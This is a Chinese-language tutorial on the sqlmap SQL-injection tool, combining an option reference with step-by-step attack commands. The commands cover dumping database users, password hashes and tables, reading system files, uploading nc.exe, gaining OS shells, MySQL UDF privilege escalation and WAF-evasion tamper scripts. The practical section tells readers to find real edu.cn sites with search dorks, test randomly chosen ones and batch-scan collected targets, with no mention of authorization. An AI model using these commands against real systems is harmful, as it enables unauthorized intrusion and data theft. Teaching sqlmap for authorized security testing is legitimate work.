SQLMap使用攻略


      sqlmap是一個開源的滲透測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數據庫服務器的權限。它具有功能強大的檢測引擎,針對各種不同類型數據庫的滲透測試的功能選項,包括獲取數據庫中存儲的數據,訪問操作系統文件甚至可以通過外帶數據連接的方式執行操作系統命令。

基本語法:

sqlmap -u url  --users :查看數據庫所有用戶

sqlmap -u url --passwords :查看數據庫所有用戶密碼

sqlmap -u url :判斷注入點

sqlmap -u url --current-dbs :查看當前所有數據庫

sqlmap -u url --current-user :查看數據庫當前的用戶

sqlmap -u url --is-dba :判斷當前用戶是否有管理員權限

sqlmap -u url --roles :列出數據庫所有管理員角色

sqlmap -u url --current-db :查看當前數據庫

sqlmap -u url -D 庫名 --tables  :爆表

sqlmap -u url -D 庫名 -T 表明 --columns :爆字段

sqlmap -u url -D 庫名 -T 表明 --C 字段名1,字段名2 --dump :爆數據

sqlmap -u url -D 庫名 --dump-all :爆出數據庫中所有數據

 

如果我們想對抓取包進行爆破的話,

sqlmap -r http.txt :http.txt是我們抓取的http請求包

sqlmap -r http.txt -p username  :指定參數,當有多個參數而你又知道username參數存在SQL漏洞,你就可以使用-p指定參數進行探測

 

1.1 sqlmap簡介

sqlmap支持MySQL, Oracle,PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird,Sybase和SAP MaxDB等數據庫的各種安全漏洞檢測。

sqlmap支持五種不同的注入模式:

l  基於布爾的盲注,即可以根據返回頁面判斷條件真假的注入;

l  基於時間的盲注,即不能根據頁面返回內容判斷任何信息,用條件語句查看時間延遲語句是否執行(即頁面返回時間是否增加)來判斷;

l  基於報錯注入,即頁面會返回錯誤信息,或者把注入的語句的結果直接返回在頁面中;

l  聯合查詢注入,可以使用union的情況下的注入;

l  堆查詢注入,可以同時執行多條語句的執行時的注入。

1.2 下載及安裝

(1)linux下git直接安裝

gitclone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev

(2)windows下安裝

windows下下載sqlmap的壓縮包,解壓后即可使用。但需要一些組件包的支持,需要有python2.7.x或者2.6.x環境支持。

(3)kali及PentestBox默認安裝sqlmap

1.3 SQL使用參數詳解

本文以SQLmap 1.1.8-8版本為例,對其所有參數進行詳細的分析和講解,便於在使用時進行查詢。

用法: sqlmap.py [選項]

1.3.1 選項

 -h,--help  顯示基本幫助信息並退出

 -hh    顯示高級幫助信息並退出

 --version  顯示程序版本信息並退出

-vVERBOSE信息級別: 0-6 (缺省1),其值具體含義:“0”只顯示python錯誤以及嚴重的信息;1同時顯示基本信息和警告信息(默認);“2”同時顯示debug信息;“3”同時顯示注入的payload;“4”同時顯示HTTP請求;“5”同時顯示HTTP響應頭;“6”同時顯示HTTP響應頁面;如果想看到sqlmap發送的測試payload最好的等級就是3。

1.3.2 目標

在這些選項中必須提供至少有一個確定目標

 -d DIRECT    直接連接數據庫的連接字符串

-u URL, --url=URL   目標URL (e.g."http://www.site.com/vuln.php?id=1"),使用-u或者--url

-l LOGFILE     從Burp或者WebScarab代理日志文件中分析目標

-x SITEMAPURL  從遠程網站地圖(sitemap.xml)文件來解析目標

-m BULKFILE      將目標地址保存在文件中,一行為一個URL地址進行批量檢測。

-r REQUESTFILE   從文件加載HTTP請求,sqlmap可以從一個文本文件中獲取HTTP請求,這樣就可以跳過設置一些其他參數(比如cookie,POST數據,等等),請求是HTTPS的時需要配合這個--force-ssl參數來使用,或者可以在Host頭后門加上:443

-g GOOGLEDORK     從谷歌中加載結果目標URL(只獲取前100個結果,需要掛代理)

-c CONFIGFILE       從配置ini文件中加載選項

1.3.3 請求

這些選項可以用來指定如何連接到目標URL

--method=METHOD  強制使用給定的HTTP方法(例如put)

    --data=DATA   通過POST發送數據參數,sqlmap會像檢測GET參數一樣檢測POST的參數。--data="id=1" -f --banner --dbs --users

   --param-del=PARA..  當GET或POST的數據需要用其他字符分割測試參數的時候需要用到此參數。

   --cookie=COOKIE     HTTP Cookieheader 值

   --cookie-del=COO..  用來分隔cookie的字符串值

   --load-cookies=L..  Filecontaining cookies in Netscape/wget format

   --drop-set-cookie   IgnoreSet-Cookie header from response

   --user-agent=AGENT  默認情況下sqlmap的HTTP請求頭中User-Agent值是:sqlmap/1.0-dev-xxxxxxx(http://sqlmap.org)可以使用--user-agent參數來修改,同時也可以使用--random-agent參數來隨機的從./txt/user-agents.txt中獲取。當--level參數設定為3或者3以上的時候,會嘗試對User-Angent進行注入

   --random-agent     使用random-agent作為HTTP User-Agent頭值

   --host=HOST         HTTP Hostheader value

   --referer=REFERER   sqlmap可以在請求中偽造HTTP中的referer,當--level參數設定為3或者3以上的時候會嘗試對referer注入

   -H HEADER, --hea..  額外的http頭(e.g."X-Forwarded-For: 127.0.0.1")

   --headers=HEADERS  可以通過--headers參數來增加額外的http頭(e.g."Accept-Language: fr\nETag: 123")

   --auth-type=AUTH.. HTTP的認證類型 (Basic, Digest, NTLM or PKI)

   --auth-cred=AUTH..  HTTP 認證憑證(name:password)

   --auth-file=AUTH..  HTTP 認證PEM證書/私鑰文件;當Web服務器需要客戶端證書進行身份驗證時,需要提供兩個文件:key_file,cert_file,key_file是格式為PEM文件,包含着你的私鑰,cert_file是格式為PEM的連接文件。

   --ignore-401        Ignore HTTPError 401 (Unauthorized)忽略HTTP 401錯誤(未授權的)

   --ignore-proxy      忽略系統的默認代理設置

   --ignore-redirects忽略重定向的嘗試

   --ignore-timeouts   忽略連接超時

   --proxy=PROXY       使用代理服務器連接到目標URL

   --proxy-cred=PRO..  代理認證憑證(name:password)

   --proxy-file=PRO..  從文件加載代理列表

   --tor               使用Tor匿名網絡

   --tor-port=TORPORT  設置Tor代理端口

   --tor-type=TORTYPE  設置Tor代理類型 (HTTP,SOCKS4 or SOCKS5 (缺省))

   --check-tor       檢查Tor的是否正確使用

   --delay=DELAY   可以設定兩個HTTP(S)請求間的延遲,設定為0.5的時候是半秒,默認是沒有延遲的。

   --timeout=TIMEOUT   可以設定一個HTTP(S)請求超過多久判定為超時,10表示10秒,默認是30秒。

   --retries=RETRIES   當HTTP(S)超時時,可以設定重新嘗試連接次數,默認是3次。

   --randomize=RPARAM可以設定某一個參數值在每一次請求中隨機的變化,長度和類型會與提供的初始值一樣

   --safe-url=SAFEURL  提供一個安全不錯誤的連接,每隔一段時間都會去訪問一下

   --safe-post=SAFE..  提供一個安全不錯誤的連接,每次測試請求之后都會再訪問一遍安全連接。

   --safe-req=SAFER..  從文件中加載安全HTTP請求

   --safe-freq=SAFE..  測試一個給定安全網址的兩個訪問請求

   --skip-urlencode    跳過URL的有效載荷數據編碼

   --csrf-token=CSR..  Parameter usedto hold anti-CSRF token參數用來保存反CSRF令牌

   --csrf-url=CSRFURL  URL地址訪問提取anti-CSRF令牌

   --force-ssl         強制使用SSL/HTTPS

   --hpp               使用HTTP參數污染的方法

   --eval=EVALCODE     在有些時候,需要根據某個參數的變化,而修改另個一參數,才能形成正常的請求,這時可以用--eval參數在每次請求時根據所寫python代碼做完修改后請求。(e.g "import hashlib;id2=hashlib.md5(id).hexdigest()")

 sqlmap.py -u"http://www.target.com/vuln.php?id=1&hash=c4ca4238a0b923820dcc509a6f75849b"--eval="import hashlib;hash=hashlib.md5(id).hexdigest()"

1.3.4 優化

這些選項可用於優化sqlmap性能

-o               打開所有的優化開關

--predict-output    預測普通查詢輸出

--keep-alive        使用持久HTTP(S)連接

--null-connection   獲取頁面長度

--threads=THREADS   當前http(s)最大請求數 (默認 1)

1.3.5 注入

這些選項可用於指定要測試的參數、提供自定義注入有效載荷和可選的篡改腳本。

   -p TESTPARAMETER    可測試的參數

   --skip=SKIP         跳過對給定參數的測試

   --skip-static       跳過測試不顯示為動態的參數

   --param-exclude=..  使用正則表達式排除參數進行測試(e.g. "ses")

   --dbms=DBMS         強制后端的DBMS為此值

   --dbms-cred=DBMS..  DBMS認證憑證(user:password)

   --os=OS            強制后端的DBMS操作系統為這個值

   --invalid-bignum    使用大數字使值無效

   --invalid-logical   使用邏輯操作使值無效

   --invalid-string    使用隨機字符串使值無效

   --no-cast          關閉有效載荷鑄造機制

   --no-escape         關閉字符串逃逸機制

   --prefix=PREFIX     注入payload字符串前綴

   --suffix=SUFFIX     注入payload字符串后綴

   --tamper=TAMPER   使用給定的腳本篡改注入數據

1.3.6 檢測

這些選項可以用來指定在SQL盲注時如何解析和比較HTTP響應頁面的內容

   --level=LEVEL     執行測試的等級(1-5,默認為1)

   --risk=RISK       執行測試的風險(0-3,默認為1)

   --string=STRING    查詢時有效時在頁面匹配字符串

   --not-string=NOT..  當查詢求值為無效時匹配的字符串

   --regexp=REGEXP     查詢時有效時在頁面匹配正則表達式

   --code=CODE       當查詢求值為True時匹配的HTTP代碼

   --text-only        僅基於在文本內容比較網頁

   --titles           僅根據他們的標題進行比較

1.3.7 技巧

 這些選項可用於調整具體的SQL注入測試

   --technique=TECH    SQL注入技術測試(默認BEUST)

   --time-sec=TIMESEC  DBMS響應的延遲時間(默認為5秒)

   --union-cols=UCOLS  定列范圍用於測試UNION查詢注入

   --union-char=UCHAR  暴力猜測列的字符數

   --union-from=UFROM  SQL注入UNION查詢使用的格式

   --dns-domain=DNS..  DNS泄露攻擊使用的域名

   --second-order=S..  URL搜索產生的結果頁面

1.3.8 指紋

-f, --fingerprint   執行廣泛的DBMS版本指紋檢查

1.3.9 枚舉

這些選項可以用來列舉后端數據庫管理系統的信息、表中的結構和數據。此外,您還可以運行自定義的SQL語句。

   -a, --all           獲取所有信息

   -b, --banner        獲取數據庫管理系統的標識

   --current-user      獲取數據庫管理系統當前用戶

   --current-db        獲取數據庫管理系統當前數據庫

    --hostname         獲取數據庫服務器的主機名稱

   --is-dba            檢測DBMS當前用戶是否DBA

   --users             枚舉數據庫管理系統用戶

   --passwords         枚舉數據庫管理系統用戶密碼哈希

   --privileges        枚舉數據庫管理系統用戶的權限

   --roles            枚舉數據庫管理系統用戶的角色

   --dbs             枚舉數據庫管理系統數據庫

   --tables            枚舉的DBMS數據庫中的表

   --columns          枚舉DBMS數據庫表列

   --schema            枚舉數據庫架構

   --count             檢索表的項目數,有時候用戶只想獲取表中的數據個數而不是具體的內容,那么就可以使用這個參數:sqlmap.py -u url --count -D testdb

   --dump            轉儲數據庫表項

    --dump-all          轉儲數據庫所有表項

   --search           搜索列(S),表(S)和/或數據庫名稱(S)

   --comments          獲取DBMS注釋

   -D DB               要進行枚舉的指定數據庫名

   -T TBL              DBMS數據庫表枚舉

   -C COL             DBMS數據庫表列枚舉

   -X EXCLUDECOL     DBMS數據庫表不進行枚舉

   -U USER           用來進行枚舉的數據庫用戶

   --exclude-sysdbs    枚舉表時排除系統數據庫

   --pivot-column=P..  Pivot columnname

   --where=DUMPWHERE   Use WHEREcondition while table dumping

   --start=LIMITSTART  獲取第一個查詢輸出數據位置

   --stop=LIMITSTOP   獲取最后查詢的輸出數據

   --first=FIRSTCHAR   第一個查詢輸出字的字符獲取

   --last=LASTCHAR    最后查詢的輸出字字符獲取

   --sql-query=QUERY   要執行的SQL語句

   --sql-shell         提示交互式SQL的shell

   --sql-file=SQLFILE  要執行的SQL文件

1.3.10 暴力

這些選項可以被用來運行暴力檢查

   --common-tables     檢查存在共同表

   --common-columns    檢查存在共同列

1.3.11 用戶自定義函數注入

這些選項可以用來創建用戶自定義函數

   --udf-inject    注入用戶自定義函數

   --shared-lib=SHLIB  共享庫的本地路徑

1.3.12 訪問文件系統

這些選項可以被用來訪問后端數據庫管理系統的底層文件系統

   --file-read=RFILE   從后端的數據庫管理系統文件系統讀取文件,SQL Server2005中讀取二進制文件example.exe:

sqlmap.py -u"http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther"--file-read "C:/example.exe" -v 1

   --file-write=WFILE  編輯后端的數據庫管理系統文件系統上的本地文件

   --file-dest=DFILE   后端的數據庫管理系統寫入文件的絕對路徑

在kali中將/software/nc.exe文件上傳到C:/WINDOWS/Temp下:

python sqlmap.py -u"http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1" --file-write"/software/nc.exe" --file-dest "C:/WINDOWS/Temp/nc.exe" -v1

1.3.13 操作系統訪問

這些選項可以用於訪問后端數據庫管理系統的底層操作系統

   --os-cmd=OSCMD   執行操作系統命令(OSCMD)

   --os-shell          交互式的操作系統的shell

   --os-pwn          獲取一個OOB shell,meterpreter或VNC

   --os-smbrelay       一鍵獲取一個OOBshell,meterpreter或VNC

   --os-bof           存儲過程緩沖區溢出利用

   --priv-esc          數據庫進程用戶權限提升

   --msf-path=MSFPATH  MetasploitFramework本地的安裝路徑

   --tmp-path=TMPPATH  遠程臨時文件目錄的絕對路徑

linux查看當前用戶命令:

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --os-cmd id -v1

1.3.14 Windows注冊表訪問

這些選項可以被用來訪問后端數據庫管理系統Windows注冊表

   --reg-read          讀一個Windows注冊表項值

   --reg-add           寫一個Windows注冊表項值數據

   --reg-del           刪除Windows注冊表鍵值

   --reg-key=REGKEY    Windows注冊表鍵

   --reg-value=REGVAL  Windows注冊表項值

   --reg-data=REGDATA  Windows注冊表鍵值數據

   --reg-type=REGTYPE  Windows注冊表項值類型

1.3.15 一般選項

這些選項可以用來設置一些一般的工作參數

   -s SESSIONFILE     保存和恢復檢索會話文件的所有數據

   -t TRAFFICFILE      記錄所有HTTP流量到一個文本文件中

   --batch            從不詢問用戶輸入,使用所有默認配置。

   --binary-fields=..  結果字段具有二進制值(e.g."digest")

   --charset=CHARSET   強制字符編碼

   --crawl=CRAWLDEPTH  從目標URL爬行網站

   --crawl-exclude=..  正則表達式從爬行頁中排除

   --csv-del=CSVDEL    限定使用CSV輸出 (default",")

   --dump-format=DU..  轉儲數據格式(CSV(default), HTML or SQLITE)

   --eta              顯示每個輸出的預計到達時間

   --flush-session     刷新當前目標的會話文件

   --forms           解析和測試目標URL表單

    --fresh-queries     忽略在會話文件中存儲的查詢結果

   --hex             使用DBMS Hex函數數據檢索

   --output-dir=OUT..  自定義輸出目錄路徑

   --parse-errors      解析和顯示響應數據庫錯誤信息

   --save=SAVECONFIG   保存選項到INI配置文件

   --scope=SCOPE    從提供的代理日志中使用正則表達式過濾目標

   --test-filter=TE..  選擇測試的有效載荷和/或標題(e.g. ROW)

   --test-skip=TEST..  跳過試驗載荷和/或標題(e.g.BENCHMARK)

   --update            更新sqlmap

1.3.16 其他

   -z MNEMONICS        使用短記憶法 (e.g."flu,bat,ban,tec=EU")

   --alert=ALERT       發現SQL注入時,運行主機操作系統命令

   --answers=ANSWERS   當希望sqlmap提出輸入時,自動輸入自己想要的答案(e.g. "quit=N,follow=N"),例如:sqlmap.py -u"http://192.168.22.128/get_int.php?id=1"--technique=E--answers="extending=N" --batch

   --beep    發現sql注入時,發出蜂鳴聲。

   --cleanup     清除sqlmap注入時在DBMS中產生的udf與表。

   --dependencies      Check formissing (non-core) sqlmap dependencies

   --disable-coloring  默認彩色輸出,禁掉彩色輸出。

   --gpage=GOOGLEPAGE 使用前100個URL地址作為注入測試,結合此選項,可以指定頁面的URL測試

   --identify-waf      進行WAF/IPS/IDS保護測試,目前大約支持30種產品的識別

   --mobile     有時服務端只接收移動端的訪問,此時可以設定一個手機的User-Agent來模仿手機登陸。

   --offline           Work inoffline mode (only use session data)

   --purge-output     從輸出目錄安全刪除所有內容,有時需要刪除結果文件,而不被恢復,可以使用此參數,原有文件將會被隨機的一些文件覆蓋。

   --skip-waf           跳過WAF/IPS / IDS啟發式檢測保護

   --smart            進行積極的啟發式測試,快速判斷為注入的報錯點進行注入

   --sqlmap-shell      互動提示一個sqlmapshell

   --tmp-dir=TMPDIR    用於存儲臨時文件的本地目錄

   --web-root=WEBROOT  Web服務器的文檔根目錄(e.g."/var/www")

   --wizard   新手用戶簡單的向導使用,可以一步一步教你如何輸入針對目標注入

1.4 實際利用

1.4.1 檢測和利用SQL注入

1.手工判斷是否存在漏洞

對動態網頁進行安全審計,通過接受動態用戶提供的GET、POST、Cookie參數值、User-Agent請求頭。

原始網頁:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

構造url1:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

構造url2:http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

如果url1訪問結果跟原始網頁一致,而url2跟原始網頁不一致,有出錯信息或者顯示內容不一致,則證明存在SQL注入。

2. sqlmap自動檢測

檢測語法:sqlmap.py -u http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

技巧:在實際檢測過程中,sqlmap會不停的詢問,需要手工輸入Y/N來進行下一步操作,可以使用參數“--batch”命令來自動答復和判斷。

3. 尋找和判斷實例

通過百度對“inurl:news.asp?id=site:edu.cn”、“inurl:news.php?id= site:edu.cn”、“inurl:news.aspx?id=site:edu.cn”進行搜索,搜索news.php/asp/aspx,站點為edu.cn,如圖1所示。隨機打開一個網頁搜索結果,如圖2所示,如果能夠正常訪問,則復制該URL地址。

超詳細SQLMap使用攻略及技巧

圖1搜索目標

圖2測試網頁能否正常訪問.jpg

圖2測試網頁能否正常訪問

  將該url使用sqlmap進行注入測試,如圖3所示,測試結果可能存在SQL注入,也可能不存在SQL注入,存在則可以進行數據庫名稱,數據庫表以及數據的操作。本例中是不存在SQL注入漏洞。

圖3檢測URL地址是否存在漏洞.jpg

圖3檢測URL地址是否存在漏洞

4. 批量檢測

將目標url搜集並整理為txt文件,如圖4所示,所有文件都保存為tg.txt,然后使用“sqlmap.py-m tg.txt”,注意tg.txt跟sqlmap在同一個目錄下。

圖4批量整理目標地址.jpg

圖4批量整理目標地址

1.4.2 直接連接數據庫

sqlmap.py -d"mysql://admin:admin@192.168.21.17:3306/testdb" -f --banner --dbs--users

1.4.3數據庫相關操作

1.列數據庫信息:--dbs

2.web當前使用的數據庫--current-db

3.web數據庫使用賬戶--current-user

4.列出sqlserver所有用戶 --users

5.數據庫賬戶與密碼 --passwords

6.指定庫名列出所有表  -D database --tables

-D:指定數據庫名稱

7.指定庫名表名列出所有字段 -D antian365-T admin --columns

-T:指定要列出字段的表

8.指定庫名表名字段dump出指定字段

-D secbang_com -T admin -C  id,password ,username --dump

-D antian365 -T userb -C"email,Username,userpassword" --dump

  可加雙引號,也可不加雙引號。

9.導出多少條數據

-D tourdata -T userb -C"email,Username,userpassword" --start 1 --stop 10 --dump 

參數:

--start:指定開始的行

--stop:指定結束的行

此條命令的含義為:導出數據庫tourdata中的表userb中的字段(email,Username,userpassword)中的第1到第10行的數據內容。

1.5 SQLMAP實用技巧

1. mysql的注釋方法進行繞過WAF進行SQL注入

(1)修改C:\Python27\sqlmap\tamper\halfversionedmorekeywords.py

return match.group().replace(word,"/*!0%s" % word) 為:

return match.group().replace(word,"/*!50000%s*/" % word)

(2)修改C:\Python27\sqlmap\xml\queries.xml

<cast query="CAST(%s ASCHAR)"/>為:

<castquery="convert(%s,CHAR)"/>

(3)使用sqlmap進行注入測試

sqlmap.py -u"http://**.com/detail.php? id=16" –tamper "halfversionedmorekeywords.py"

其它繞過waf腳本方法:

sqlmap.py-u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tampertamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3

(4)tamper目錄下文件具體含義:

space2comment.py用/**/代替空格

apostrophemask.py用utf8代替引號

equaltolike.pylike代替等號

space2dash.py 繞過過濾‘=’ 替換空格字符(”),(’–‘)后跟一個破折號注釋,一個隨機字符串和一個新行(’n’)

greatest.py 繞過過濾’>’ ,用GREATEST替換大於號。

space2hash.py空格替換為#號,隨機字符串以及換行符

apostrophenullencode.py繞過過濾雙引號,替換字符和雙引號。

halfversionedmorekeywords.py當數據庫為mysql時繞過防火牆,每個關鍵字之前添加mysql版本評論

space2morehash.py空格替換為 #號 以及更多隨機字符串 換行符

appendnullbyte.py在有效負荷結束位置加載零字節字符編碼

ifnull2ifisnull.py 繞過對IFNULL過濾,替換類似’IFNULL(A,B)’為’IF(ISNULL(A), B, A)’

space2mssqlblank.py(mssql)空格替換為其它空符號

base64encode.py 用base64編碼替換

space2mssqlhash.py 替換空格

modsecurityversioned.py過濾空格,包含完整的查詢版本注釋

space2mysqlblank.py 空格替換其它空白符號(mysql)

between.py用between替換大於號(>)

space2mysqldash.py替換空格字符(”)(’ – ‘)后跟一個破折號注釋一個新行(’ n’)

multiplespaces.py圍繞SQL關鍵字添加多個空格

space2plus.py用+替換空格

bluecoat.py代替空格字符后與一個有效的隨機空白字符的SQL語句,然后替換=為like

nonrecursivereplacement.py雙重查詢語句,取代SQL關鍵字

space2randomblank.py代替空格字符(“”)從一個隨機的空白字符可選字符的有效集

sp_password.py追加sp_password’從DBMS日志的自動模糊處理的有效載荷的末尾

chardoubleencode.py雙url編碼(不處理以編碼的)

unionalltounion.py替換UNION ALLSELECT UNION SELECT

charencode.py url編碼

randomcase.py隨機大小寫

unmagicquotes.py寬字符繞過 GPCaddslashes

randomcomments.py用/**/分割sql關鍵字

charunicodeencode.py字符串 unicode 編碼

securesphere.py追加特制的字符串

versionedmorekeywords.py注釋繞過

space2comment.py替換空格字符串(‘‘) 使用注釋‘/**/’

halfversionedmorekeywords.py關鍵字前加注釋

2. URL重寫SQL注入測試

value1為測試參數,加“*”即可,sqlmap將會測試value1的位置是否可注入。

sqlmap.py -u"http://targeturl/param1/value1*/param2/value2/"

3. 列舉並破解密碼哈希值

  當前用戶有權限讀取包含用戶密碼的權限時,sqlmap會現列舉出用戶,然后列出hash,並嘗試破解。

sqlmap.py -u"http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1" --passwords -v1

4. 獲取表中的數據個數

sqlmap.py -u"http://192.168.21.129/sqlmap/mssql/iis/get_int.asp?id=1" --count -Dtestdb

5.對網站secbang.com進行漏洞爬去

sqlmap.py -u "http://www.secbang.com"--batch --crawl=3

6.基於布爾SQL注入預估時間

sqlmap.py -u "http://192.168.136.131/sqlmap/oracle/get_int_bool.php?id=1"-b --eta

7.使用hex避免字符編碼導致數據丟失

sqlmap.py -u "http://192.168.48.130/pgsql/get_int.php?id=1" --banner --hex -v 3 --parse-errors

8.模擬測試手機環境站點

python sqlmap.py -u"http://www.target.com/vuln.php?id=1" --mobile

9.智能判斷測試

sqlmap.py -u "http://www.antian365.com/info.php?id=1"--batch --smart

10.結合burpsuite進行注入

(1)burpsuite抓包,需要設置burpsuite記錄請求日志

sqlmap.py -r burpsuite抓包.txt

(2)指定表單注入

sqlmap.py -u URL --data“username=a&password=a”

11.sqlmap自動填寫表單注入

自動填寫表單:

sqlmap.py -u URL --forms

sqlmap.py -u URL --forms --dbs

sqlmap.py -u URL --forms --current-db

sqlmap.py -u URL --forms -D 數據庫名稱--tables

sqlmap.py -u URL --forms -D 數據庫名稱 -T 表名 --columns

sqlmap.py -u URL --forms -D 數據庫名稱 -T 表名 -Cusername,password --dump

12.讀取linux下文件

 sqlmap.py-u "url" --file /etc/password

13.延時注入

sqlmap.py -u URL --technique -T--current-user

14. sqlmap 結合burpsuite進行post注入

結合burpsuite來使用sqlmap:

(1)瀏覽器打開目標地址http://www.antian365.com

(2)配置burp代理(127.0.0.1:8080)以攔截請求

(3)點擊登錄表單的submit按鈕

(4)Burp會攔截到了我們的登錄POST請求

(5)把這個post請求復制為txt, 我這命名為post.txt 然后把它放至sqlmap目錄下

(6)運行sqlmap並使用如下命令:

./sqlmap.py -r post.txt -p tfUPass

15.sqlmap cookies注入

sqlmap.py -u "http://127.0.0.1/base.PHP"–cookies "id=1"  –dbs –level 2

默認情況下SQLMAP只支持GET/POST參數的注入測試,但是當使用–level 參數且數值>=2的時候也會檢查cookie里面的參數,當>=3的時候將檢查User-agent和Referer。可以通過burpsuite等工具獲取當前的cookie值,然后進行注入:

sqlmap.py -u 注入點URL --cookie"id=xx" --level 3

sqlmap.py -u url --cookie "id=xx"--level 3 --tables(猜表名)

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 --coiumns

sqlmap.py -u url --cookie "id=xx"--level 3 -T 表名 -C username,password --dump

16.mysql提權

(1)連接mysql數據打開一個交互shell:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --sql-shell

select @@version;

select @@plugin_dir;

d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\

(2)利用sqlmap上傳lib_mysqludf_sys到MySQL插件目錄:

sqlmap.py -dmysql://root:root@127.0.0.1:3306/test --file-

write=d:/tmp/lib_mysqludf_sys.dll--file-

dest=d:\\wamp2.5\\bin\\mysql\\mysql5.6.17\\lib\\plugin\\lib_mysqludf_sys.dll

CREATE FUNCTION sys_exec RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

CREATE FUNCTION sys_eval RETURNS STRINGSONAME 'lib_mysqludf_sys.dll'

select sys_eval('ver');

17.執行shell命令

sqlmap.py -u "url" –os-cmd="netuser" /*執行net user命令*/

sqlmap.py -u "url" –os-shell /*系統交互的shell*/

18.延時注入

sqlmap –dbs -u"url" –delay 0.5 /*延時0.5秒*/

sqlmap –dbs -u"url" –safe-freq /*請求2次*/

參考文章:

http://sqlmap.org/

https://github.com/sqlmapproject/sqlmap

https://github.com/sqlmapproject/sqlmap/wiki

https://sobug.com/article/detail/2

https://blog.xiaohack.org/1378.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM